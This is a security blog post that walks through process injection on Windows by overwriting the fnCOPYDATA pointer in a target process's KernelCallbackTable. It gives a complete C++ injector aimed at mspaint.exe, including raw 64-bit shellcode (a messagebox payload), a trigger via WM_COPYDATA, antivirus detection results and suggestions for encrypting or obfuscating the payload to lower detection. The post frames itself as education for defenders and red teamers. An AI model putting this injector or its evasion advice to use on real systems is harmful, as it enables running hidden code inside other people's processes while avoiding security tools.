cocomelonc

cybersec enthusiast. mathematician. author. speaker. hacker

6 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

1

This post is a result of my own research into one of the process injection technique: by spoofing the fnCOPYDATA value in KernelCallbackTable.

Let’s look at this technique in more detail.

KernelCallbackTable

KernelCallbackTable can be found in PEB structure, at 0x058 offset:

lkd> dt_PEB

2

lkd> dt_PEB @$peb kernelcallbacktable

2

The KernelCallbackTable is initialized to an array of functions:

lkd> dqs 0x00007ffa`29123070 L60
00007ffa`29123070  00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078  00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080  00007ffa`290c0420 user32!_fnDWORD
00007ffa`29123088  00007ffa`290c5680 user32!_fnNCDESTROY
00007ffa`29123090  00007ffa`290c96a0 user32!_fnDWORDOPTINLPMSG
00007ffa`29123098  00007ffa`2911b4a0 user32!_fnINOUTDRAG
//....

For example, functions such as fnCOPYDATA are called in response to a WM_COPYDATA window message.

This function is replaced to demonstrate the injection.

practical example

The flow is this technique is: firstly, include ntddk.h header from SDK:

#include <./ntddk.h>

Then, redefine:

typedef struct _KERNELCALLBACKTABLE_T {
  ULONG_PTR __fnCOPYDATA;
  ULONG_PTR __fnCOPYGLOBALDATA;
  ULONG_PTR __fnDWORD;
  ULONG_PTR __fnNCDESTROY;
  ULONG_PTR __fnDWORDOPTINLPMSG;
  ULONG_PTR __fnINOUTDRAG;
  ULONG_PTR __fnGETTEXTLENGTHS;
  ULONG_PTR __fnINCNTOUTSTRING;
  ULONG_PTR __fnPOUTLPINT;
  ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
  ULONG_PTR __fnINLPCREATESTRUCT;
  ULONG_PTR __fnINLPDELETEITEMSTRUCT;
  ULONG_PTR __fnINLPDRAWITEMSTRUCT;
  ULONG_PTR __fnPOPTINLPUINT;
  ULONG_PTR __fnPOPTINLPUINT2;
  ULONG_PTR __fnINLPMDICREATESTRUCT;
  ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
  ULONG_PTR __fnINLPWINDOWPOS;
  ULONG_PTR __fnINOUTLPPOINT5;
  ULONG_PTR __fnINOUTLPSCROLLINFO;
  ULONG_PTR __fnINOUTLPRECT;
  ULONG_PTR __fnINOUTNCCALCSIZE;
  ULONG_PTR __fnINOUTLPPOINT5_;
  ULONG_PTR __fnINPAINTCLIPBRD;
  ULONG_PTR __fnINSIZECLIPBRD;
  ULONG_PTR __fnINDESTROYCLIPBRD;
  ULONG_PTR __fnINSTRING;
  ULONG_PTR __fnINSTRINGNULL;
  ULONG_PTR __fnINDEVICECHANGE;
  ULONG_PTR __fnPOWERBROADCAST;
  ULONG_PTR __fnINLPUAHDRAWMENU;
  ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
  ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
  ULONG_PTR __fnOUTDWORDINDWORD;
  ULONG_PTR __fnOUTLPRECT;
  ULONG_PTR __fnOUTSTRING;
  ULONG_PTR __fnPOPTINLPUINT3;
  ULONG_PTR __fnPOUTLPINT2;
  ULONG_PTR __fnSENTDDEMSG;
  ULONG_PTR __fnINOUTSTYLECHANGE;
  ULONG_PTR __fnHkINDWORD;
  ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
  ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
  ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
  ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMSG;
  ULONG_PTR __fnHkINLPRECT;
  ULONG_PTR __fnHkOPTINLPEVENTMSG;
  ULONG_PTR __xxxClientCallDelegateThread;
  ULONG_PTR __ClientCallDummyCallback;
  ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
  ULONG_PTR __fnOUTLPCOMBOBOXINFO;
  ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
  ULONG_PTR __xxxClientCallDevCallbackCapture;
  ULONG_PTR __xxxClientCallDitThread;
  ULONG_PTR __xxxClientEnableMMCSS;
  ULONG_PTR __xxxClientUpdateDpi;
  ULONG_PTR __xxxClientExpandStringW;
  ULONG_PTR __ClientCopyDDEIn1;
  ULONG_PTR __ClientCopyDDEIn2;
  ULONG_PTR __ClientCopyDDEOut1;
  ULONG_PTR __ClientCopyDDEOut2;
  ULONG_PTR __ClientCopyImage;
  ULONG_PTR __ClientEventCallback;
  ULONG_PTR __ClientFindMnemChar;
  ULONG_PTR __ClientFreeDDEHandle;
  ULONG_PTR __ClientFreeLibrary;
  ULONG_PTR __ClientGetCharsetInfo;
  ULONG_PTR __ClientGetDDEFlags;
  ULONG_PTR __ClientGetDDEHookData;
  ULONG_PTR __ClientGetListboxString;
  ULONG_PTR __ClientGetMessageMPH;
  ULONG_PTR __ClientLoadImage;
  ULONG_PTR __ClientLoadLibrary;
  ULONG_PTR __ClientLoadMenu;
  ULONG_PTR __ClientLoadLocalT1Fonts;
  ULONG_PTR __ClientPSMTextOut;
  ULONG_PTR __ClientLpkDrawTextEx;
  ULONG_PTR __ClientExtTextOutW;
  ULONG_PTR __ClientGetTextExtentPointW;
  ULONG_PTR __ClientCharToWchar;
  ULONG_PTR __ClientAddFontResourceW;
  ULONG_PTR __ClientThreadSetup;
  ULONG_PTR __ClientDeliverUserApc;
  ULONG_PTR __ClientNoMemoryPopup;
  ULONG_PTR __ClientMonitorEnumProc;
  ULONG_PTR __ClientCallWinEventProc;
  ULONG_PTR __ClientWaitMessageExMPH;
  ULONG_PTR __ClientWOWGetProcModule;
  ULONG_PTR __ClientWOWTask16SchedNotify;
  ULONG_PTR __ClientImmLoadLayout;
  ULONG_PTR __ClientImmProcessKey;
  ULONG_PTR __fnIMECONTROL;
  ULONG_PTR __fnINWPARAMDBCSCHAR;
  ULONG_PTR __fnGETTEXTLENGTHS2;
  ULONG_PTR __fnINLPKDRAWSWITCHWND;
  ULONG_PTR __ClientLoadStringW;
  ULONG_PTR __ClientLoadOLE;
  ULONG_PTR __ClientRegisterDragDrop;
  ULONG_PTR __ClientRevokeDragDrop;
  ULONG_PTR __fnINOUTMENUGETOBJECT;
  ULONG_PTR __ClientPrinterThunk;
  ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
  ULONG_PTR __fnOUTLPSCROLLBARINFO;
  ULONG_PTR __fnINLPUAHDRAWMENU2;
  ULONG_PTR __fnINLPUAHDRAWMENUITEM;
  ULONG_PTR __fnINLPUAHDRAWMENU3;
  ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
  ULONG_PTR __fnINLPUAHDRAWMENU4;
  ULONG_PTR __fnOUTLPTITLEBARINFOEX;
  ULONG_PTR __fnTOUCH;
  ULONG_PTR __fnGESTURE;
  ULONG_PTR __fnPOPTINLPUINT4;
  ULONG_PTR __fnPOPTINLPUINT5;
  ULONG_PTR __xxxClientCallDefaultInputHandler;
  ULONG_PTR __fnEMPTY;
  ULONG_PTR __ClientRimDevCallback;
  ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
  ULONG_PTR __ClientCallLocalMouseHooks;
  ULONG_PTR __xxxClientBroadcastThemeChange;
  ULONG_PTR __xxxClientCallDevCallbackSimple;
  ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
  ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
  ULONG_PTR __fnGETWINDOWDATA;
  ULONG_PTR __fnINOUTSTYLECHANGE2;
  ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

Then, find a window for mspaint.exe, obtain the process id and open it:

// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
  printf("failed to find window :(\n");
  return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

After that, read the PEB and existing table address:

HMODULE ntdll = GetModuleHandleA("ntdll");
pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)(GetProcAddress(ntdll, "NtQueryInformationProcess"));

myNtQueryInformationProcess(ph, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

ReadProcessMemory(ph, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);

Then, write our payload to remote process via VirtualAllocEx and WriteProcessMemory:

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

We use VirtualAllocEx which is allows to you to allocate memory buffer for remote process, then, WriteProcessMemory allows you to copy data between processes, so copy our payload to mspaint.exe process.

Write the new table to remote process:

LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)rb;
WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);

Update the PEB:

WriteProcessMemory(ph, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &tb, sizeof(ULONG_PTR), NULL);

Trigger execution of payload:

cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;

SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);

Finally, restore original KernelCallbackTable:

WriteProcessMemory(ph, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);

Here, to restore the original code and check if it restores normally, we called SendMessage() again to verify that the code is not running.

So, full C++ code of our simple malware is:

/*
 * hack.cpp - process injection via KernelCallbackTable. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/tutorial/2022/01/24/malware-injection-15.html
*/
#include <./ntddk.h>
#include <cstdio>
#include <cstddef>

#pragma comment(lib, "ntdll");

typedef struct _KERNELCALLBACKTABLE_T {
  ULONG_PTR __fnCOPYDATA;
  ULONG_PTR __fnCOPYGLOBALDATA;
  ULONG_PTR __fnDWORD;
  ULONG_PTR __fnNCDESTROY;
  ULONG_PTR __fnDWORDOPTINLPMSG;
  ULONG_PTR __fnINOUTDRAG;
  ULONG_PTR __fnGETTEXTLENGTHS;
  ULONG_PTR __fnINCNTOUTSTRING;
  ULONG_PTR __fnPOUTLPINT;
  ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
  ULONG_PTR __fnINLPCREATESTRUCT;
  ULONG_PTR __fnINLPDELETEITEMSTRUCT;
  ULONG_PTR __fnINLPDRAWITEMSTRUCT;
  ULONG_PTR __fnPOPTINLPUINT;
  ULONG_PTR __fnPOPTINLPUINT2;
  ULONG_PTR __fnINLPMDICREATESTRUCT;
  ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
  ULONG_PTR __fnINLPWINDOWPOS;
  ULONG_PTR __fnINOUTLPPOINT5;
  ULONG_PTR __fnINOUTLPSCROLLINFO;
  ULONG_PTR __fnINOUTLPRECT;
  ULONG_PTR __fnINOUTNCCALCSIZE;
  ULONG_PTR __fnINOUTLPPOINT5_;
  ULONG_PTR __fnINPAINTCLIPBRD;
  ULONG_PTR __fnINSIZECLIPBRD;
  ULONG_PTR __fnINDESTROYCLIPBRD;
  ULONG_PTR __fnINSTRING;
  ULONG_PTR __fnINSTRINGNULL;
  ULONG_PTR __fnINDEVICECHANGE;
  ULONG_PTR __fnPOWERBROADCAST;
  ULONG_PTR __fnINLPUAHDRAWMENU;
  ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
  ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
  ULONG_PTR __fnOUTDWORDINDWORD;
  ULONG_PTR __fnOUTLPRECT;
  ULONG_PTR __fnOUTSTRING;
  ULONG_PTR __fnPOPTINLPUINT3;
  ULONG_PTR __fnPOUTLPINT2;
  ULONG_PTR __fnSENTDDEMSG;
  ULONG_PTR __fnINOUTSTYLECHANGE;
  ULONG_PTR __fnHkINDWORD;
  ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
  ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
  ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
  ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
  ULONG_PTR __fnHkINLPMSG;
  ULONG_PTR __fnHkINLPRECT;
  ULONG_PTR __fnHkOPTINLPEVENTMSG;
  ULONG_PTR __xxxClientCallDelegateThread;
  ULONG_PTR __ClientCallDummyCallback;
  ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
  ULONG_PTR __fnOUTLPCOMBOBOXINFO;
  ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
  ULONG_PTR __xxxClientCallDevCallbackCapture;
  ULONG_PTR __xxxClientCallDitThread;
  ULONG_PTR __xxxClientEnableMMCSS;
  ULONG_PTR __xxxClientUpdateDpi;
  ULONG_PTR __xxxClientExpandStringW;
  ULONG_PTR __ClientCopyDDEIn1;
  ULONG_PTR __ClientCopyDDEIn2;
  ULONG_PTR __ClientCopyDDEOut1;
  ULONG_PTR __ClientCopyDDEOut2;
  ULONG_PTR __ClientCopyImage;
  ULONG_PTR __ClientEventCallback;
  ULONG_PTR __ClientFindMnemChar;
  ULONG_PTR __ClientFreeDDEHandle;
  ULONG_PTR __ClientFreeLibrary;
  ULONG_PTR __ClientGetCharsetInfo;
  ULONG_PTR __ClientGetDDEFlags;
  ULONG_PTR __ClientGetDDEHookData;
  ULONG_PTR __ClientGetListboxString;
  ULONG_PTR __ClientGetMessageMPH;
  ULONG_PTR __ClientLoadImage;
  ULONG_PTR __ClientLoadLibrary;
  ULONG_PTR __ClientLoadMenu;
  ULONG_PTR __ClientLoadLocalT1Fonts;
  ULONG_PTR __ClientPSMTextOut;
  ULONG_PTR __ClientLpkDrawTextEx;
  ULONG_PTR __ClientExtTextOutW;
  ULONG_PTR __ClientGetTextExtentPointW;
  ULONG_PTR __ClientCharToWchar;
  ULONG_PTR __ClientAddFontResourceW;
  ULONG_PTR __ClientThreadSetup;
  ULONG_PTR __ClientDeliverUserApc;
  ULONG_PTR __ClientNoMemoryPopup;
  ULONG_PTR __ClientMonitorEnumProc;
  ULONG_PTR __ClientCallWinEventProc;
  ULONG_PTR __ClientWaitMessageExMPH;
  ULONG_PTR __ClientWOWGetProcModule;
  ULONG_PTR __ClientWOWTask16SchedNotify;
  ULONG_PTR __ClientImmLoadLayout;
  ULONG_PTR __ClientImmProcessKey;
  ULONG_PTR __fnIMECONTROL;
  ULONG_PTR __fnINWPARAMDBCSCHAR;
  ULONG_PTR __fnGETTEXTLENGTHS2;
  ULONG_PTR __fnINLPKDRAWSWITCHWND;
  ULONG_PTR __ClientLoadStringW;
  ULONG_PTR __ClientLoadOLE;
  ULONG_PTR __ClientRegisterDragDrop;
  ULONG_PTR __ClientRevokeDragDrop;
  ULONG_PTR __fnINOUTMENUGETOBJECT;
  ULONG_PTR __ClientPrinterThunk;
  ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
  ULONG_PTR __fnOUTLPSCROLLBARINFO;
  ULONG_PTR __fnINLPUAHDRAWMENU2;
  ULONG_PTR __fnINLPUAHDRAWMENUITEM;
  ULONG_PTR __fnINLPUAHDRAWMENU3;
  ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
  ULONG_PTR __fnINLPUAHDRAWMENU4;
  ULONG_PTR __fnOUTLPTITLEBARINFOEX;
  ULONG_PTR __fnTOUCH;
  ULONG_PTR __fnGESTURE;
  ULONG_PTR __fnPOPTINLPUINT4;
  ULONG_PTR __fnPOPTINLPUINT5;
  ULONG_PTR __xxxClientCallDefaultInputHandler;
  ULONG_PTR __fnEMPTY;
  ULONG_PTR __ClientRimDevCallback;
  ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
  ULONG_PTR __ClientCallLocalMouseHooks;
  ULONG_PTR __xxxClientBroadcastThemeChange;
  ULONG_PTR __xxxClientCallDevCallbackSimple;
  ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
  ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
  ULONG_PTR __fnGETWINDOWDATA;
  ULONG_PTR __fnINOUTSTYLECHANGE2;
  ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
  IN HANDLE ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  OUT PVOID ProcessInformation,
  IN ULONG ProcessInformationLength,
  OUT PULONG ReturnLength OPTIONAL
);

unsigned char my_payload[] =

  // 64-bit meow-meow messagebox
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

int main() {

  HANDLE ph;
  DWORD pid;
  PROCESS_BASIC_INFORMATION pbi;
  KERNELCALLBACKTABLE kct;
  COPYDATASTRUCT cds;
  PEB peb;
  WCHAR msg[] = L"kernelcallbacktable injection impl";

  // find a window for mspaint.exe
  HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
  if (hw == NULL) {
    printf("failed to find window :(\n");
    return -2;
  }
  GetWindowThreadProcessId(hw, &pid);
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

  HMODULE ntdll = GetModuleHandleA("ntdll");
  pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)(GetProcAddress(ntdll, "NtQueryInformationProcess"));

  myNtQueryInformationProcess(ph, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

  ReadProcessMemory(ph, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
  ReadProcessMemory(ph, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);

  LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

  LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  kct.__fnCOPYDATA = (ULONG_PTR)rb;
  WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);

  WriteProcessMemory(ph, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &tb, sizeof(ULONG_PTR), NULL);

  cds.dwData = 1;
  cds.cbData = lstrlen((LPCSTR)msg) * 2;
  cds.lpData = msg;

  SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  WriteProcessMemory(ph, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);

  VirtualFreeEx(ph, rb, 0, MEM_RELEASE);
  VirtualFreeEx(ph, tb, 0, MEM_RELEASE);
  CloseHandle(ph);

  return 0;
}

As usually, for simplicity, I used meow-meow messagebox payload:

unsigned char my_payload[] =

  // 64-bit meow-meow messagebox
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

demo

Let’s go to see everything in action. Compile our example:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -I/home/zhas/projects/hacking/cybersec_blog/2022-01-24-malware-injection-15/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

compile

Then run it! In our case victim machine is Windows 10 x64:

run 1

run 2

We can see that everything was completed perfectly :)

An interesing observation: when I close meow messagebox window, my mspaint.exe is crashed and recovered:

restored

Moneta64.exe result:

moneta

Then, upload our malware to VirusTotal:

vt

https://www.virustotal.com/gui/file/5fcd9b3c453c7e2ac9dcc48f358b3e7851ac18edf13fb1658e29f90ffa2c5a74/detection

So, 7 of 67 AV engines detect our file as malicious.

I think this is due to the fact that the combination of VirtualAllocEx and WriteProcessMemory functions is very suspicious and well known to AV engines and malware analysts from blue teams.

If we want, for better result, we can add payload encryption with key or obfuscate functions, or combine both of this techniques.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

ntddk.h header
NtQueryInformationProcess
FindWindow
ReadProcessMemory
VirtualAllocEx
WriteProcessMemory
SendMessage
Moneta64.exe
source code in Github

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine

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